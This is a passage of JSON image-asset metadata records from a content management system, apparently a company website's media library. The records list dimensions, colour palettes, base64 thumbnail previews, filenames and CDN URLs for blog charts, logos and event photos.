{"_createdAt":"2023-02-06T13:34:06Z","_id":"image-fa0e09d8abea81326ada6c884a2a1e92de5f0281-5000x2618-png","_rev":"q6IvLca7BfVqZtRwbh32Pj","_type":"sanity.imageAsset","_updatedAt":"2023-02-06T13:34:41Z","altText":null,"assetId":"fa0e09d8abea81326ada6c884a2a1e92de5f0281","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7RMoNxu%L%M%L~qt8%Mt7Rk%fRjV?WBDj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9098548510313216,"height":2618,"width":5000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAC4jAAAuIwF4pT92AAABTElEQVQokZVS2XKDMAzM//9iyhRDuHyBIYA5NyO5kDTNSx92dK3WsuxLc9/h+h1k36GaDUkx4yoGXJMRaTVDN9tHruvB9hIcsCj5bO8bXLfCNAtyOUFkPUQ2oFAT56jGnJeeQ/Tyqm67Hcat0PUEYz1sHWDsyHjGPnDcirp7m/AIqFDZFXE2IhId4luPUk+oW5omgHzKxbc7oqSDyD33UO8fwYYEzcxCX7HjJorr7rkz8k/B2PEqpJm595cgnUDjK+Oh9ACl+2CNP6/1mTNC2cA5DuVHMW5DLmekhUelJ1i3sE2LEZkML0vIZMhVJnBo2uSHQxosaLjgIfIBIh9RmoWLtBv6JplaoN3GIJ9yVCNOaVak5YxchR4WvJUOkZCIhEYme5g2jM9XbDfYdkdNMf2CNuSOl33lnFdOiwZRXOE7USh1z4s//yPb/+EBBEz+V+zjnkwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b4508","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#78809f","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b1a7","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fadcba","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#78809f","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed8611","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"fa0e09d8abea81326ada6c884a2a1e92de5f0281-5000x2618.png","path":"images/sczeoy4w/production/fa0e09d8abea81326ada6c884a2a1e92de5f0281-5000x2618.png","sha1hash":"fa0e09d8abea81326ada6c884a2a1e92de5f0281","size":76204,"title":"Organizations, organizational units, and projects shown hierarchically","uploadId":"W0oGl0zWVhY6MjenCGWviAgLImykEOrq","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa0e09d8abea81326ada6c884a2a1e92de5f0281-5000x2618.png"} {"_createdAt":"2024-05-20T07:14:26Z","_id":"image-fa1efa599a4713259036c7c8ac845aba688b253b-3270x2212-jpg","_rev":"5dKvdU2b7V4fiIIxYxKipE","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T07:14:26Z","assetId":"fa1efa599a4713259036c7c8ac845aba688b253b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7Ss52%Ms,xb?b~pM|WBoeWE%MM|Rkt7WA%N%KRjRjxt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4783001808318263,"height":2212,"width":3270},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBBAj/xAAgEAABBAICAwEAAAAAAAAAAAABAAIDEQQhEzEiQUJh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAH/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDUBB5XeRoboBM+W2gixv2oIqR36knxzkRcYkdHu7b2qLQ2EJMeIwxBjpHSEfTuyhQf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f478a","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242ca4","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3744af","foreground":"#fff","population":0.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2b0d1","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98aaf8","foreground":"#000","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e68b2","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3744af","foreground":"#fff","population":0.55,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-for-caching-create-service-in-aiven-console.jpg","path":"images/sczeoy4w/production/fa1efa599a4713259036c7c8ac845aba688b253b-3270x2212.jpg","sha1hash":"fa1efa599a4713259036c7c8ac845aba688b253b","size":458132,"uploadId":"gatjZ89BvJ6MbEODpcG0gGhEzDKapR3X","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa1efa599a4713259036c7c8ac845aba688b253b-3270x2212.jpg"} {"_createdAt":"2022-09-02T16:53:14Z","_id":"image-fa28485127966bef009785a430c697a195c9612f-800x800-png","_rev":"i4rt3ANhEPnepa7hEgThr9","_type":"sanity.imageAsset","_updatedAt":"2022-09-02T16:53:14Z","assetId":"fa28485127966bef009785a430c697a195c9612f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCC?Dz%}EKrFt7GS=}Q.0dD%ieWB0xDPD%~qo|#=E0bu9Y-qV@OT-W","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFJ0lEQVQ4jXWUfUgbdxjHn2ydjY5WuyaLiIlVu5qcSS+5JJdcYqxJNC8md7nWadW2GLtYha4zWuleyqrVhYLO+o6Kbn0ZtAXdHwPpGGOMMVZYqeyF/jWp9uWObVFHdWVdB7nfuNOVDdYHPjy/e57f873v74474DgOeJ4HMW+uZTzPv8TzfBHH8UaO4ywcxynFPf+QTCZheXlZyslN7ty5Aw8fPgRIS0sDo9EIBoMBxLhx44Z8YWEhZ3FxUbu0tIQvLi4Wzs/PZ4i9cDgsY1lWRtO0RCgUkvn9fnC73eBwOIAgCAAMwySh/Px8QAiJZD569Ch/bW0NW1tb04rXYp8kSaioqACWZYFhGGCYCNA0DcFgELxeLzidzg1BMXQ6nQwAtnq93uzOzk7D2NgYdeHChbLe3l6T3W7P2bJli6KwsFDh8XgU4XBYEQqFpFxZWanw+Xw73G731qcOxcjIyJBv355pV6vVHXq9vp8giEGSJEcxDOvNzc3tUqvVnTiOd4ZC4c66urrO+vp6iYMHD3axLHvC5/ObKYpKM5lMAHK5XNTMUiqVrxcUFPyo0+lWi4uLlw0Gw4per1/W6XQiSYvFkqRpOhmNRpOxWEwiGo0u19TU3AoGgzG73b4Nx/ENhxqNRqnRaM5otdrk3r17EUEQaN++fSgYDKKysjJktVqR2WxGHo8HHTp0CDU3N6Pm5hbU2NiIqqtr7vv9/jaLxZKl1+tBehHRaDSPIMx9oiNR0Gw2pyorK1PHjx9Ptbe3p6qrq1M2my1ltVqlekNDQyoWi6WOHDmC9u/ff9fj8cRxHM8qKiqSBF/o7u7GKIoa0uv1K5sOBb/fL8TjcSGRSAhNTU2Cw+EQxB5FUYhhGOHw4cNCbW0tCofDd10uV1sxhmXlFe4CWF9fV4yMjJitVms/hmG/bjoUAoGA0NDQIA36fD6BJElBvJHFYkGlpaWCKHrgwAEUCATu2u32eMErhZmYeg/AysrK7omJCdLlco0aDIZVUdBkMgkURQklJSWSkMPhFEKhkFBVVSXQNC243W6JQDCAyr3l95xme0dFnn0n7ACA1dVVTSKR0FMUNSgK4jiOjEZjCsdxQcRoNAplZWWS05aWFsm16NhmswmlrlLkK/FwVYaKrt7sxjwk+1kmPsM0p9OZnZ+f36XVaqUji6L/Rjymy+VCbrdbevskSSLCZEJOwo5oo5eP7WF6PsxpLUD2756DmzdvyWNNTbstFksPQRD3SZJ8YrPZ/rDZbI9JknyK1SpilbCR5ONSi/NP2lz+V505vNTirO0ebXqv6NvPvkmHubnriqGhYfLo0dfaIyx7mWEis5EIOxOJRGYYJjJDM8wsE5Fqs2KNjbAf14ZenTtWXv953B39tDV09PKpY20nxkfHibm56zvgypWr6ePjE9nd3T26kyc7TK3xNiK+SWtrnHijNS7l1nicaDvRZk40vOX6IHyWveZNVF8M9ZT3HjtjPtdzrmh8YlJ19co1ORRptfDO6Xfh+x9uyzb/Nv/PIJL9js2+mNRc2vVL7kUsqb6Uu148k44+eSL76suvZWfbz4Byp3Lj0zv15tuw+tu6NPis+GnbkPyeYkJ9Xzmpu6eYzF3IHJH3gFOa+WLtNsQ7OjY2Dg+PwPmBQejvH4D3+8//h0vxITj9UR/M2ybgQfZUBqeayuVUUzkPsqfSb+snYax7EGaaRmCgbwDODw7C8NDIMw1JwaumgXt5CvjsaXH9PK+alvOq6TRONQWcSqptsNGXhv4Gl0tom4VkxmMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a354d","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#840434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5a354d","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4e4e8","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e040b4","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a7088","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e53596","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"devops-cli.png","path":"images/sczeoy4w/production/fa28485127966bef009785a430c697a195c9612f-800x800.png","sha1hash":"fa28485127966bef009785a430c697a195c9612f","size":11746,"uploadId":"WQs9B0VIOjfjCDBMhATS8d7Ze8ecctTm","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa28485127966bef009785a430c697a195c9612f-800x800.png"} {"_createdAt":"2024-08-26T03:52:31Z","_id":"image-fa3a84669f2e5410ad3656e27d1979ad8e9ceee4-2222x1324-png","_rev":"QJtWNkOOU8d8F4outYUO56","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:31Z","assetId":"fa3a84669f2e5410ad3656e27d1979ad8e9ceee4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8S6V#Ipx]xvx@~qa_-YakWFI,%OSQw]t3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6782477341389728,"height":1324,"width":2222},"exif":{"PixelXDimension":2222,"PixelYDimension":1324,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAABYlAAAWJQFJUiTwAAACJ0lEQVQokWWSaW7kNhSEdf/z5AJBkOTP2IjRwPSScW/uJRK1kBR3SvoCqW04nhAogBJZpXqlKqZp4nNNME3M71TsWTVr/rx/42+5x2W33BjHTDA3+maFN2+MY3ow33nFx+YTD2mfA2/qxq5+pTSCNLwTxwFnBLJ5xVuxPH8RzMNIZwKX1lIqj4+ZcRxJySPVP1TigNYlMTpSSoQYKZuO/fWOkJqZ/0XQ+sDmJvl1U/J0aBDKEmLA245ObKlvz6h6i+lrjDFIbfhx7/i2FxyqnpB+cqiN5SwU3y+SfdWjXSTnTPAG3V1Q7RFnSkIwxBhwIdBoz7WztCZ+OnxHYZ3DeY/zBuc6YlDkHDDOL6M1UpNyXr7+QZv34zgx/i//iWLOJQaP01dk9RdKrDC65FYrXg4Vu2uL8WnJNaZhyTjlgWkcH40Yxy8oYk4Y19O2J+r7C1KssVog5JyV5Cw0LiR8SBwrzerccqnn8fNDZBg+kTNFaQWH7sSpOdEpgbeaIQWGYVgczW5mdy5k1lfF77uKH2W/nC0dm2YsfwXyQPHW39i2r7y2Z+6dXJxZFxeR/xZ9zrGWkreypFVzzo965SHjk8dGiw+WwiWPDj13pXg+Cv7Y3NnfO5wPS+9SjOQ5Z9+j2z1tuaLvjgSnCcEjrWLfHllXW07tieKjQ3Uf+G1b8cvzmZd9iZIabwzOGLy1uL5BVRu62xO63uH6djlvVM33cs3T5ZldueFfQQWac1yDNY8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404043","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#447597","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4e99d","foreground":"#000","population":1.82,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3c1c3","foreground":"#000","population":0.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4e99d","foreground":"#000","population":1.82,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a91a6","foreground":"#fff","population":1.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c8c32","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_arch_4.png","path":"images/sczeoy4w/production/fa3a84669f2e5410ad3656e27d1979ad8e9ceee4-2222x1324.png","sha1hash":"fa3a84669f2e5410ad3656e27d1979ad8e9ceee4","size":273411,"uploadId":"4LNvOaQ8QVtajUWeBhHmvtmHoO5KhLs7","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa3a84669f2e5410ad3656e27d1979ad8e9ceee4-2222x1324.png"} {"_createdAt":"2023-01-31T10:39:48Z","_id":"image-fa6d3ee64b3dc3c3f0a9400796c9e1c32ea01996-2000x917-png","_rev":"pnOvEyahjeT2Gte9fevEi3","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:15Z","altText":null,"assetId":"fa6d3ee64b3dc3c3f0a9400796c9e1c32ea01996","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1810250817884405,"height":917,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABv0lEQVQokS2QTWsaURSG5w/av5Dsui0ECVmk2xpcZBVKIba0NJtSBx0Rumma0DbSJotYqFC/xo+oE6POzL333HvPuXfGMurhWbwcOB88TiyQCa2UIUw22AyyCi1oIwCZkABKo9GbJpcmBlpxXDLthBMxu19Mfz0Gt/MtT82lmAFpSzZBTQBKSgVSx1wyoYQknoEc0Jk2Zj9Of7r5yud8uZx36/n678Jt8D0gRmmaWmNRIyIKUE+reBkytluhQaLT/9K/eHHx8tnxYe7wKHdUzBXrz+vD2hBDnSZJmuxKKVyFLIo5KC0VgtQCtON/bdePP73ZL57tvXq9f/J+7+zyoNJz76PuWM7nBiBN0/V6jUhRzBgHJINkhSImtDO9azXfVhqF0k2hdHNSahTe3Z1+/Puh3PVq4+trNh4nJvsfycRMMCEVkiYrtQFFzqLVarvun/PzLc1tKGX8c8urTsci7oa5iBgXG/NkLJJ1ooE/urrq1KoZXrXtVTpeFjpedfjtko1GCWWXyVguZMwFSK00SaUFKEdGEZs8RAM/Gvih31/2usteL/T90PfZw4Q4z7St18YmoDCzpYlxCB4Xk2nwHx671uRZ/WxIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#613a5e","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b3c94","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d39c9c","foreground":"#000","population":14.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d39c9c","foreground":"#000","population":14.7,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee9cbc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ae54a1","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b951ba","foreground":"#fff","population":6.75,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-median-values.png","path":"images/sczeoy4w/production/fa6d3ee64b3dc3c3f0a9400796c9e1c32ea01996-2000x917.png","sha1hash":"fa6d3ee64b3dc3c3f0a9400796c9e1c32ea01996","size":66533,"title":null,"uploadId":"q9gXZymp1Fn19AontwtxhbMFHCWqBwxE","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa6d3ee64b3dc3c3f0a9400796c9e1c32ea01996-2000x917.png"} {"_createdAt":"2024-03-04T16:18:40Z","_id":"image-fa857eb2ccffb1d3accd868466a4b7ccbfc21265-1752x425-png","_rev":"9lf0N1nj0tQugwM8VKcfdI","_type":"sanity.imageAsset","_updatedAt":"2024-03-04T16:18:40Z","assetId":"fa857eb2ccffb1d3accd868466a4b7ccbfc21265","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D:Fhqu~U?G%1aefkj[j[j[j[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.12235294117647,"height":425,"width":1752},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAABYlAAAWJQFJUiTwAAABS0lEQVQYlUWQzyvDARjGn21ayzNOc9j3pagJ02Z+rU0jbCkOlCLTcLAc5iAnOfoHHJQiKTm7UHNYI3ZYs/EfSG7Kj43L1Hdf0Xe+cvj09jzP+9bbg8ptzK/mw9tqfjCjFsZ21LuFvqPtNStAS2OLywwKQEXHBCoWUDH/a6kBxfK7Y6BmRzffLjyFp1TbR/HSe/d+HV5dmh3ywir9ZrvSA0oHKJ2gdIHSC4rP8NpA6TY8Pdd1O7SM//Ql6So+njR/v567Su/pwF4iNjAFW2PURGUZlDgo6wYroPx5s6BMghIFZRGUOVDm8ZUJnpVT7felZOtzOe1++LwK7R5uRUKwNXlMdiUIyrhxEAMlAkoIlAlQRkBxG58HQPFX0XLTG1o2sq9lh4+13NhB5WYmXswknIDPVO9w6h3ZQWkAxQFKLShWUOoM9FzvWZ9VfgAYnF8okfrpDwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30304f","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc9c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f39d0b","foreground":"#000","population":2.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c0bf","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fae875","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94546c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39d0b","foreground":"#000","population":2.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-hugging-face.png","path":"images/sczeoy4w/production/fa857eb2ccffb1d3accd868466a4b7ccbfc21265-1752x425.png","sha1hash":"fa857eb2ccffb1d3accd868466a4b7ccbfc21265","size":100112,"uploadId":"4sBQOw7e2F8zkgQ0Ms2KII9D20Huzlpg","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa857eb2ccffb1d3accd868466a4b7ccbfc21265-1752x425.png"} {"_createdAt":"2024-04-10T13:37:06Z","_id":"image-fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2-1920x1037-jpg","_rev":"3j2o6ShEzE0bEzMoaRafPk","_type":"sanity.imageAsset","_updatedAt":"2024-04-10T13:37:06Z","assetId":"fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDFOlr%zP9XT}t?F?HKh%2=|$TN29uf--U","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAwQG/8QAIxAAAgICAgEEAwAAAAAAAAAAAQIDBAAFERIhEyJBUQYUMf/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBP/EABsRAQACAgMAAAAAAAAAAAAAAAEAAhEhBCKx/9oADAMBAAIRAxEAPwBTvreusyUX180tiSnGqJD0A8g/J+sT7rbbHZSNR2FFK8xb1FIbnx9ZRWrxQVdyYl6lIwVPJ8ZNSzNJ+LwWZH7z/sdPUYAnrx/Mlp2jVUq1HTNa1XZEFaaZFVQrBhz7vnDOm0nvoqzAEknnDM60HZ5HOPkyM//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e5231","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681b22","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#887776","foreground":"#fff","population":6.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccbdae","foreground":"#000","population":5.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c4bc","foreground":"#000","population":1.93,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#887776","foreground":"#fff","population":6.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d27045","foreground":"#fff","population":1.12,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-team-crabweek-2023.jpg","path":"images/sczeoy4w/production/fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2-1920x1037.jpg","sha1hash":"fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2","size":596940,"uploadId":"9cubsdQVWvFL5yaPan7cX5pj4qAa1xo8","url":"https://cdn.sanity.io/images/sczeoy4w/production/fa97bb4696e38e6a7c603ab4d3e6e51d4a07afc2-1920x1037.jpg"} {"_createdAt":"2023-12-14T13:00:28Z","_id":"image-faebe15375f989ffde752ced24be64a99a5580e1-6000x4000-jpg","_rev":"Do3156plRwIXmiihNvHSQl","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:00:28Z","assetId":"faebe15375f989ffde752ced24be64a99a5580e1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VUB::WRjDgs*xv_4WDISt6t8tSV@skofj[IrWBs:t7WX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4000,"width":6000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBQj/xAAiEAACAgIDAAEFAAAAAAAAAAABAgMEABEFBiFBEhMiMYH/xAAXAQADAQAAAAAAAAAAAAAAAAACAwQF/8QAGhEBAAMBAQEAAAAAAAAAAAAAAQACEgMiQf/aAAwDAQACEQMRAD8AnnR+e4ROw0LN5WgEMZiJZRrXx/cqnau6cQOttToyLMliNkP461sZy9SuMZz9xA4b07PuaMPJ2509lIVD4utgZoGWmaLJdo+iO/F93r8DTWhSa9HChJ+lGGtn9nDFPsVVIeQURaVWiRiNfJHuGJefMfsPd5//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#394055","foreground":"#fff","population":2.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d377c","foreground":"#fff","population":5.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d377c","foreground":"#fff","population":5.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afb3d5","foreground":"#000","population":5.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bed2f1","foreground":"#000","population":1.87,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07356","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f6cb7","foreground":"#fff","population":5.09,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Heikki 2 on stage.jpeg","path":"images/sczeoy4w/production/faebe15375f989ffde752ced24be64a99a5580e1-6000x4000.jpg","sha1hash":"faebe15375f989ffde752ced24be64a99a5580e1","size":2395406,"uploadId":"RykHyroI3hOzf6P0DuWicgFlHwbpY44b","url":"https://cdn.sanity.io/images/sczeoy4w/production/faebe15375f989ffde752ced24be64a99a5580e1-6000x4000.jpg"} {"_createdAt":"2023-12-14T13:20:47Z","_id":"image-fb0502c1dcdb4044a6bc61786bc928f0b0a954fa-6174x4116-jpg","_rev":"sg5cBJWkRHo7pkcz4Ge3hn","_type":"sanity.imageAsset","_updatedAt":"2023-12-14T13:20:47Z","assetId":"fb0502c1dcdb4044a6bc61786bc928f0b0a954fa","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":4116,"width":6174},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABwAFCP/EACQQAAIBBAAFBQAAAAAAAAAAAAECAwAEBREGEyExUQcSFBZB/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgED/8QAHBEAAgICAwAAAAAAAAAAAAAAAQIAEQMhE0Gh/9oADAMBAAIRAxEAPwA74NbCw4KCyvgFkYidHaPqT43TdbQYSWxhRxAIzGPcra76rjtrmVWjCOwCjajfatT7JkjZrbJcOik9SGOzWypxuaMhyBloiInqNicaOJpPhLbiHlrrl9v2qjBsxdMds2z5NVLR2W8gsdCf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#552c2d","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d2268","foreground":"#fff","population":3.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0d2268","foreground":"#fff","population":3.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afb5d5","foreground":"#000","population":1.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8c7b8","foreground":"#000","population":1.67,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aa6c66","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c0784f","foreground":"#fff","population":0.43,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven Live Customer Panel on 